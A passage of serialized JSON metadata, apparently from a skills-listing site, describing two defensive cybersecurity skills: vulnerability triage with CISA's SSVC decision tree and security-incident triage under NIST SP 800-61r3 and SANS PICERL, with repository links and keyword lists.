prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[234],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[236,237,238,27,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":256,"name":257,"nameZh":6,"description":258,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":259,"categories":260,"keywords":262,"publishedAt":40},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[261],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[135,263,27,264,265,266,267,268,269,270,271,197,272,198,273,274,275,276,277,278],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]